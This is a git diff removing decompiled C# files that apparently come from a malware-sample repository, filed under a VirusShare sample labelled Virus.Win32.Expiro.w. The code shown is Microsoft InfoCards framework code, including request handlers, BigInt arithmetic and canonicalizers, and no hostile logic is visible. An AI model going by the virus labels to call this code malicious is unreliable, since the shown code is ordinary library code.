Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.BeginGetFileNameFromUserRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class BeginGetFileNameFromUserRequest : UIAgentAsyncBeginRequest - { - private bool m_getContent; - private string m_arguments; - - public BeginGetFileNameFromUserRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalAsyncInArgs(BinaryReader reader) - { - this.m_getContent = reader.ReadBoolean(); - this.m_arguments = Utility.DeserializeString(reader); - } - - protected override object AsyncExecute(AsyncParams asyncParams) - { - uint num = 0; - string empty = string.Empty; - GetFileNameResult getFileNameResult = new GetFileNameResult(); - using (new SystemIdentity(true)) - num = NativeMcppMethods.CreateAndWaitForFileOpenDialogWrapper(this.m_arguments, this.RequestorIdentity, this.ParentRequest.CallerPid, ref empty); - if (num == 0U) - { - try - { - getFileNameResult.FileName = empty; - if (this.m_getContent) - { - if (!string.IsNullOrEmpty(empty)) - { - FileInfo fileInfo = new FileInfo(empty); - using (FileStream fileStream = File.OpenRead(empty)) - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader((Stream) fileStream); - getFileNameResult.FileContent = binaryReader.ReadBytes((int) fileInfo.Length); - } - } - } - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new FileAccessException(SR.GetString("ServiceInaccessibleFile"), ex)); - throw; - } - } - return (object) getFileNameResult; - } - - protected override void AsyncCancel() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/BeginSelectCardRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/BeginSelectCardRequest.cs deleted file mode 100644 index ea1c0fb1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/BeginSelectCardRequest.cs +++ /dev/null @@ -1,49 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.BeginSelectCardRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class BeginSelectCardRequest : UIAgentAsyncBeginRequest - { - private InfoCard m_card; - - public BeginSelectCardRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalAsyncInArgs(BinaryReader reader) - { - this.m_card = new InfoCard(reader.BaseStream); - this.m_card.GetExtendedInformation().Deserialize(reader.BaseStream); - this.m_card.GetRPIdentityRequirement().Deserialize(reader.BaseStream); - this.m_card.GetClaims().Deserialize(reader.BaseStream); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - InfoCardMasterKey masterKey = this.m_card.GetMasterKey(connection); - if (!this.m_card.IsPinProtected) - return; - masterKey.Decrypt(masterKey.GetPinHelper(this.m_card.Pin)); - } - finally - { - connection.Close(); - } - } - - protected override object AsyncExecute(AsyncParams asyncParam) => (object) ((GetTokenRequest) this.ParentRequest).SelectCard(this.m_card, this.m_card.IsSelfIssued); - - protected override void AsyncCancel() => ((GetTokenRequest) this.ParentRequest).CancelSelectCard(); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/BigInt.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/BigInt.cs deleted file mode 100644 index 32160dc8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/BigInt.cs +++ /dev/null @@ -1,400 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.BigInt -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; - -namespace Microsoft.InfoCards -{ - internal sealed class BigInt - { - private const int m_maxbytes = 128; - private const int m_base = 256; - private byte[] m_elements; - private int m_size; - private static readonly char[] decValues = new char[10] - { - '0', - '1', - '2', - '3', - '4', - '5', - '6', - '7', - '8', - '9' - }; - - internal BigInt() => this.m_elements = new byte[128]; - - internal BigInt(byte[] b) - { - this.m_elements = new byte[128]; - Array.Copy((Array) b, (Array) this.m_elements, b.Length); - this.m_size = b.Length; - } - - internal BigInt(byte b) - { - this.m_elements = new byte[128]; - this.SetDigit(0, b); - } - - internal int Size - { - get => this.m_size; - set - { - this.m_size = value; - if (value > 128) - this.m_size = 128; - if (value >= 0) - return; - this.m_size = 0; - } - } - - internal byte GetDigit(int index) => index < 0 || index >= this.m_size ? (byte) 0 : this.m_elements[index]; - - internal void SetDigit(int index, byte digit) - { - if (index < 0 || index >= 128) - return; - this.m_elements[index] = digit; - if (index >= this.m_size && digit != (byte) 0) - this.m_size = index + 1; - if (index != this.m_size - 1 || digit != (byte) 0) - return; - --this.m_size; - } - - internal void SetDigit(int index, byte digit, ref int size) - { - if (index < 0 || index >= 128) - return; - this.m_elements[index] = digit; - if (index >= size && digit != (byte) 0) - size = index + 1; - if (index != size - 1 || digit != (byte) 0) - return; - --size; - } - - public static bool operator <(BigInt value1, BigInt value2) - { - if (value1 == (BigInt) null) - return true; - if (value2 == (BigInt) null) - return false; - int size1 = value1.Size; - int size2 = value2.Size; - if (size1 != size2) - return size1 < size2; - while (size1-- > 0) - { - if ((int) value1.m_elements[size1] != (int) value2.m_elements[size1]) - return (int) value1.m_elements[size1] < (int) value2.m_elements[size1]; - } - return false; - } - - public static bool operator >(BigInt value1, BigInt value2) - { - if (value1 == (BigInt) null) - return false; - if (value2 == (BigInt) null) - return true; - int size1 = value1.Size; - int size2 = value2.Size; - if (size1 != size2) - return size1 > size2; - while (size1-- > 0) - { - if ((int) value1.m_elements[size1] != (int) value2.m_elements[size1]) - return (int) value1.m_elements[size1] > (int) value2.m_elements[size1]; - } - return false; - } - - public static bool operator ==(BigInt value1, BigInt value2) - { - if ((object) value1 == null) - return (object) value2 == null; - if ((object) value2 == null) - return (object) value1 == null; - int size1 = value1.Size; - int size2 = value2.Size; - if (size1 != size2) - return false; - for (int index = 0; index < size1; ++index) - { - if ((int) value1.m_elements[index] != (int) value2.m_elements[index]) - return false; - } - return true; - } - - public static bool operator !=(BigInt value1, BigInt value2) => !(value1 == value2); - - public override bool Equals(object obj) - { - BigInt bigInt = obj as BigInt; - return (BigInt) null != bigInt && bigInt == this; - } - - public override int GetHashCode() - { - int hashCode = 0; - for (int index = 0; index < this.m_size; ++index) - hashCode += (int) this.GetDigit(index); - return hashCode; - } - - internal static void Add(BigInt a, byte b, ref BigInt c) - { - byte digit = b; - int size1 = a.Size; - int size2 = 0; - for (int index = 0; index < size1; ++index) - { - int num = (int) a.GetDigit(index) + (int) digit; - c.SetDigit(index, (byte) (num & (int) byte.MaxValue), ref size2); - digit = (byte) (num >> 8 & (int) byte.MaxValue); - } - if (digit != (byte) 0) - c.SetDigit(a.Size, digit, ref size2); - c.Size = size2; - } - - internal static void Negate(ref BigInt a) - { - int size = 0; - for (int index = 0; index < 128; ++index) - a.SetDigit(index, (byte) ((uint) ~a.GetDigit(index) & (uint) byte.MaxValue), ref size); - for (int index = 0; index < 128; ++index) - { - a.SetDigit(index, (byte) ((uint) a.GetDigit(index) + 1U), ref size); - if (((int) a.GetDigit(index) & (int) byte.MaxValue) == 0) - a.SetDigit(index, (byte) ((uint) a.GetDigit(index) & (uint) byte.MaxValue), ref size); - else - break; - } - a.Size = size; - } - - internal static void Subtract(BigInt a, BigInt b, ref BigInt c) - { - byte num1 = 0; - if (a < b) - { - BigInt.Subtract(b, a, ref c); - BigInt.Negate(ref c); - } - else - { - int size1 = a.Size; - int size2 = 0; - for (int index = 0; index < size1; ++index) - { - int num2 = (int) a.GetDigit(index) - (int) b.GetDigit(index) - (int) num1; - num1 = (byte) 0; - if (num2 < 0) - { - num2 += 256; - num1 = (byte) 1; - } - c.SetDigit(index, (byte) (num2 & (int) byte.MaxValue), ref size2); - } - c.Size = size2; - } - } - - private void Multiply(int b) - { - if (b == 0) - { - this.Clear(); - } - else - { - int num1 = 0; - int size1 = this.Size; - int size2 = 0; - for (int index = 0; index < size1; ++index) - { - int num2 = b * (int) this.GetDigit(index) + num1; - num1 = num2 / 256; - this.SetDigit(index, (byte) (num2 % 256), ref size2); - } - if (num1 != 0) - { - byte[] bytes = BitConverter.GetBytes(num1); - for (int index = 0; index < bytes.Length; ++index) - this.SetDigit(size1 + index, bytes[index], ref size2); - } - this.Size = size2; - } - } - - private static void Multiply(BigInt a, int b, ref BigInt c) - { - if (b == 0) - { - c.Clear(); - } - else - { - int num1 = 0; - int size1 = a.Size; - int size2 = 0; - for (int index = 0; index < size1; ++index) - { - int num2 = b * (int) a.GetDigit(index) + num1; - num1 = num2 / 256; - c.SetDigit(index, (byte) (num2 % 256), ref size2); - } - if (num1 != 0) - { - byte[] bytes = BitConverter.GetBytes(num1); - for (int index = 0; index < bytes.Length; ++index) - c.SetDigit(size1 + index, bytes[index], ref size2); - } - c.Size = size2; - } - } - - private void Divide(int b) - { - int num1 = 0; - int size1 = this.Size; - int size2 = 0; - while (size1-- > 0) - { - int num2 = 256 * num1 + (int) this.GetDigit(size1); - num1 = num2 % b; - this.SetDigit(size1, (byte) (num2 / b), ref size2); - } - this.Size = size2; - } - - internal static void Divide( - BigInt numerator, - BigInt denominator, - ref BigInt quotient, - ref BigInt remainder) - { - if (numerator < denominator) - { - quotient.Clear(); - remainder.CopyFrom(numerator); - } - else if (numerator == denominator) - { - quotient.Clear(); - quotient.SetDigit(0, (byte) 1); - remainder.Clear(); - } - else - { - BigInt c1 = new BigInt(); - c1.CopyFrom(numerator); - BigInt a = new BigInt(); - a.CopyFrom(denominator); - uint num = 0; - while (a.Size < c1.Size) - { - a.Multiply(256); - ++num; - } - if (a > c1) - { - a.Divide(256); - --num; - } - BigInt c2 = new BigInt(); - quotient.Clear(); - for (int index = 0; (long) index <= (long) num; ++index) - { - int b = (c1.Size == a.Size ? (int) c1.GetDigit(c1.Size - 1) : 256 * (int) c1.GetDigit(c1.Size - 1) + (int) c1.GetDigit(c1.Size - 2)) / (int) a.GetDigit(a.Size - 1); - if (b >= 256) - b = (int) byte.MaxValue; - BigInt.Multiply(a, b, ref c2); - while (c2 > c1) - { - --b; - BigInt.Multiply(a, b, ref c2); - } - quotient.Multiply(256); - BigInt.Add(quotient, (byte) b, ref quotient); - BigInt.Subtract(c1, c2, ref c1); - a.Divide(256); - } - remainder.CopyFrom(c1); - } - } - - internal void CopyFrom(BigInt a) - { - Array.Copy((Array) a.m_elements, (Array) this.m_elements, 128); - this.m_size = a.m_size; - } - - internal bool IsZero() - { - for (int index = 0; index < this.m_size; ++index) - { - if (this.m_elements[index] != (byte) 0) - return false; - } - return true; - } - - internal byte[] ToByteArray() - { - byte[] destinationArray = new byte[this.Size]; - Array.Copy((Array) this.m_elements, (Array) destinationArray, this.Size); - return destinationArray; - } - - internal void Clear() => this.m_size = 0; - - internal void FromDecimal(string decNum) - { - BigInt c1 = new BigInt(); - BigInt c2 = new BigInt(); - int length = decNum.Length; - for (int index = 0; index < length; ++index) - { - if (decNum[index] > '9' || decNum[index] < '0') - throw InfoCardTrace.ThrowHelperError((Exception) new FormatException()); - BigInt.Multiply(c1, 10, ref c2); - BigInt.Add(c2, (byte) ((uint) decNum[index] - 48U), ref c1); - } - this.CopyFrom(c1); - } - - internal string ToDecimal() - { - BigInt denominator = new BigInt((byte) 10); - BigInt numerator = new BigInt(); - BigInt quotient = new BigInt(); - BigInt remainder = new BigInt(); - numerator.CopyFrom(this); - char[] chArray = new char[8 * this.m_size / 3]; - int length = 0; - do - { - BigInt.Divide(numerator, denominator, ref quotient, ref remainder); - chArray[length++] = BigInt.decValues[(int) remainder.m_elements[0]]; - numerator.CopyFrom(quotient); - } - while (!quotient.IsZero()); - Array.Reverse((Array) chArray, 0, length); - return new string(chArray, 0, length); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/BrowserPolicyValidator.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/BrowserPolicyValidator.cs deleted file mode 100644 index 7b9f602e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/BrowserPolicyValidator.cs +++ /dev/null @@ -1,26 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.BrowserPolicyValidator -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -namespace Microsoft.InfoCards -{ - internal class BrowserPolicyValidator : PolicyValidator - { - public BrowserPolicyValidator(InfoCardPolicy policy) - : base(policy) - { - } - - public override void Validate() - { - this.ValidateClaims(); - this.ValidateNonWhiteListElements(); - this.ValidateRequestType(); - this.ValidateTokenType(); - this.ValidatePrivacyVersion(); - this.ValidateRecipients(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CancelAsyncOperationRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CancelAsyncOperationRequest.cs deleted file mode 100644 index 640c1711..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CancelAsyncOperationRequest.cs +++ /dev/null @@ -1,39 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CancelAsyncOperationRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class CancelAsyncOperationRequest : UIAgentRequest - { - private int m_asyncHandle; - - public CancelAsyncOperationRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - this.m_asyncHandle = new InfoCardBinaryReader(this.InArgs, Encoding.Unicode).ReadInt32(); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_asyncHandle, "asyncHandle"); - } - - protected override void OnMarshalOutArgs() - { - } - - protected override void OnProcess() => this.ParentRequest.CancelAsyncOp(this.m_asyncHandle); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Canonicalizers.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Canonicalizers.cs deleted file mode 100644 index af312b84..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Canonicalizers.cs +++ /dev/null @@ -1,248 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Canonicalizers -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal sealed class Canonicalizers - { - private static ICanonicalizer s_binary; - private static ICanonicalizer s_caseInsensitiveWithHashing; - private static ICanonicalizer s_caseSensitiveWithHashing; - private static ICanonicalizer s_binaryWithHashing; - - private Canonicalizers() - { - } - - public static ICanonicalizer CaseInsensitiveWithHashing - { - get - { - if (Canonicalizers.s_caseInsensitiveWithHashing == null) - Canonicalizers.s_caseInsensitiveWithHashing = (ICanonicalizer) new Canonicalizers.CaseInsensitiveCanonicalizer(true, Encoding.Unicode, CultureInfo.InvariantCulture); - return Canonicalizers.s_caseInsensitiveWithHashing; - } - } - - public static ICanonicalizer CaseSensitiveWithHashing - { - get - { - if (Canonicalizers.s_caseSensitiveWithHashing == null) - Canonicalizers.s_caseSensitiveWithHashing = (ICanonicalizer) new Canonicalizers.CaseSensitiveCanonicalizer(true, Encoding.Unicode, CultureInfo.InvariantCulture); - return Canonicalizers.s_caseSensitiveWithHashing; - } - } - - public static ICanonicalizer Binary - { - get - { - if (Canonicalizers.s_binary == null) - Canonicalizers.s_binary = (ICanonicalizer) new Canonicalizers.BinaryCanonicalizer(false); - return Canonicalizers.s_binary; - } - } - - public static ICanonicalizer BinaryWithHashing - { - get - { - if (Canonicalizers.s_binaryWithHashing == null) - Canonicalizers.s_binaryWithHashing = (ICanonicalizer) new Canonicalizers.BinaryCanonicalizer(true); - return Canonicalizers.s_binaryWithHashing; - } - } - - private delegate byte[] CanonicalizeObjectCallback(object dataToHash); - - private abstract class CanonicalizerBase : ICanonicalizer - { - private bool m_hashValue; - - public CanonicalizerBase(bool hashValue) => this.m_hashValue = hashValue; - - public byte[] Canonicalize(object obj) - { - byte[] dataToHash = obj != null ? this.GetRawForm(obj) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (obj)); - if (!this.m_hashValue) - return dataToHash; - byte[] data = new byte[HashUtility.HashBufferLength]; - HashUtility.SetHashValue(data, 0, dataToHash); - return data; - } - - public abstract bool CanCanonicalize(object obj); - - protected abstract byte[] GetRawForm(object obj); - } - - private class BinaryCanonicalizer : Canonicalizers.CanonicalizerBase - { - private Dictionary m_canonicalizers; - - public BinaryCanonicalizer(bool hashValue) - : base(hashValue) - { - this.m_canonicalizers = new Dictionary(); - this.CreateCanonicalizers(); - } - - public override bool CanCanonicalize(object obj) => obj != null ? this.m_canonicalizers.ContainsKey(obj.GetType()) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (obj)); - - private void CreateCanonicalizers() - { - this.m_canonicalizers.Add(typeof (short), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeInt16)); - this.m_canonicalizers.Add(typeof (ushort), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeUInt16)); - this.m_canonicalizers.Add(typeof (int), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeInt32)); - this.m_canonicalizers.Add(typeof (uint), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeUInt32)); - this.m_canonicalizers.Add(typeof (long), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeInt64)); - this.m_canonicalizers.Add(typeof (ulong), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeUInt64)); - this.m_canonicalizers.Add(typeof (byte), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeByte)); - this.m_canonicalizers.Add(typeof (byte[]), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeByteArray)); - this.m_canonicalizers.Add(typeof (string), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeString)); - this.m_canonicalizers.Add(typeof (Guid), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeGuid)); - this.m_canonicalizers.Add(typeof (GlobalId), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeGlobalId)); - } - - protected override byte[] GetRawForm(object obj) => this.m_canonicalizers[obj.GetType()](obj); - - private byte[] CanonicalizeGlobalId(object data) => data != null ? ((Guid) (GlobalId) data).ToByteArray() : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - - private byte[] CanonicalizeGuid(object data) => data != null ? ((Guid) data).ToByteArray() : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - - private unsafe byte[] CanonicalizeInt16(object data) - { - short num = data != null ? (short) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - byte[] numArray = new byte[2]; - fixed (byte* numPtr = &numArray[0]) - *(short*) numPtr = num; - return numArray; - } - - private unsafe byte[] CanonicalizeUInt16(object data) - { - ushort num = data != null ? (ushort) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - byte[] numArray = new byte[2]; - fixed (byte* numPtr = &numArray[0]) - *(short*) numPtr = (short) num; - return numArray; - } - - private unsafe byte[] CanonicalizeInt32(object data) - { - int num = data != null ? (int) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - byte[] numArray = new byte[4]; - fixed (byte* numPtr = &numArray[0]) - *(int*) numPtr = num; - return numArray; - } - - private unsafe byte[] CanonicalizeUInt32(object data) - { - uint num = data != null ? (uint) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - byte[] numArray = new byte[4]; - fixed (byte* numPtr = &numArray[0]) - *(int*) numPtr = (int) num; - return numArray; - } - - private unsafe byte[] CanonicalizeInt64(object data) - { - long num = data != null ? (long) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - byte[] numArray = new byte[8]; - fixed (byte* numPtr = &numArray[0]) - *(long*) numPtr = num; - return numArray; - } - - private unsafe byte[] CanonicalizeUInt64(object data) - { - ulong num = data != null ? (ulong) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - byte[] numArray = new byte[8]; - fixed (byte* numPtr = &numArray[0]) - *(long*) numPtr = (long) num; - return numArray; - } - - private byte[] CanonicalizeString(object data) - { - string s = data != null ? (string) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - return !string.IsNullOrEmpty(s) ? Encoding.Unicode.GetBytes(s) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - } - - private byte[] CanonicalizeByte(object data) => data != null ? new byte[1] - { - (byte) data - } : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - - private byte[] CanonicalizeByteArray(object data) => data != null ? (byte[]) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - } - - private abstract class StringCanonicalizerBase : Canonicalizers.CanonicalizerBase - { - private static readonly Type[] s_validTypes = new Type[2] - { - typeof (string), - typeof (Uri) - }; - private Encoding m_encoding; - private CultureInfo m_culture; - - protected StringCanonicalizerBase(bool hashValue, Encoding encoding, CultureInfo culture) - : base(hashValue) - { - if (encoding == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (encoding)); - this.m_culture = culture != null ? culture : CultureInfo.InvariantCulture; - this.m_encoding = encoding; - } - - protected virtual Type[] SupportedTypes => Canonicalizers.StringCanonicalizerBase.s_validTypes; - - public CultureInfo Culture => this.m_culture; - - public Encoding Encoding => this.m_encoding; - - public override bool CanCanonicalize(object obj) - { - if (obj == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (obj)); - return this.SupportedTypes != null && -1 != Array.IndexOf(this.SupportedTypes, obj.GetType()); - } - - protected override byte[] GetRawForm(object obj) => this.GetBytesFromString(obj.ToString()); - - protected abstract byte[] GetBytesFromString(string data); - } - - private class CaseSensitiveCanonicalizer : Canonicalizers.StringCanonicalizerBase - { - public CaseSensitiveCanonicalizer(bool hashValue, Encoding encoding, CultureInfo culture) - : base(hashValue, encoding, culture) - { - } - - protected override byte[] GetBytesFromString(string data) => this.Encoding.GetBytes(data); - } - - private class CaseInsensitiveCanonicalizer : Canonicalizers.StringCanonicalizerBase - { - public CaseInsensitiveCanonicalizer(bool hashValue, Encoding encoding, CultureInfo culture) - : base(hashValue, encoding, culture) - { - } - - protected override byte[] GetBytesFromString(string obj) => this.Encoding.GetBytes(this.Culture.TextInfo.ToUpper(obj)); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CheckStoreFileValidityRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CheckStoreFileValidityRequest.cs deleted file mode 100644 index 8aac1cd2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CheckStoreFileValidityRequest.cs +++ /dev/null @@ -1,77 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CheckStoreFileValidityRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; -using System.Xml; -using System.Xml.Schema; - -namespace Microsoft.InfoCards -{ - internal class CheckStoreFileValidityRequest : UIAgentRequest - { - private string m_filename; - private bool m_valid = true; - - public CheckStoreFileValidityRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() => this.m_filename = Utility.DeserializeString((BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode)); - - protected override void OnProcess() - { - try - { - try - { - using (FileStream fileStream = File.OpenRead(this.m_filename)) - { - XmlReaderSettings defaultReaderSettings = InfoCardSchemas.CreateDefaultReaderSettings(); - defaultReaderSettings.IgnoreWhitespace = false; - using (XmlReader reader = InfoCardSchemas.CreateReader((Stream) fileStream, defaultReaderSettings)) - { - if (reader.IsStartElement("EncryptedStore", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - return; - this.m_valid = false; - } - } - } - catch (XmlSchemaValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("SchemaValidationFailed"), (Exception) ex)); - } - catch (UnauthorizedAccessException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("ImportInaccesibleFile"), (Exception) ex)); - } - catch (IOException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - catch (XmlException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - } - catch (ImportException ex) - { - this.m_valid = false; - } - } - - protected override void OnMarshalOutArgs() => new BinaryWriter(this.OutArgs).Write(this.m_valid); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ClientRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ClientRequest.cs deleted file mode 100644 index b3e34aac..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ClientRequest.cs +++ /dev/null @@ -1,405 +0,0 @@ -// 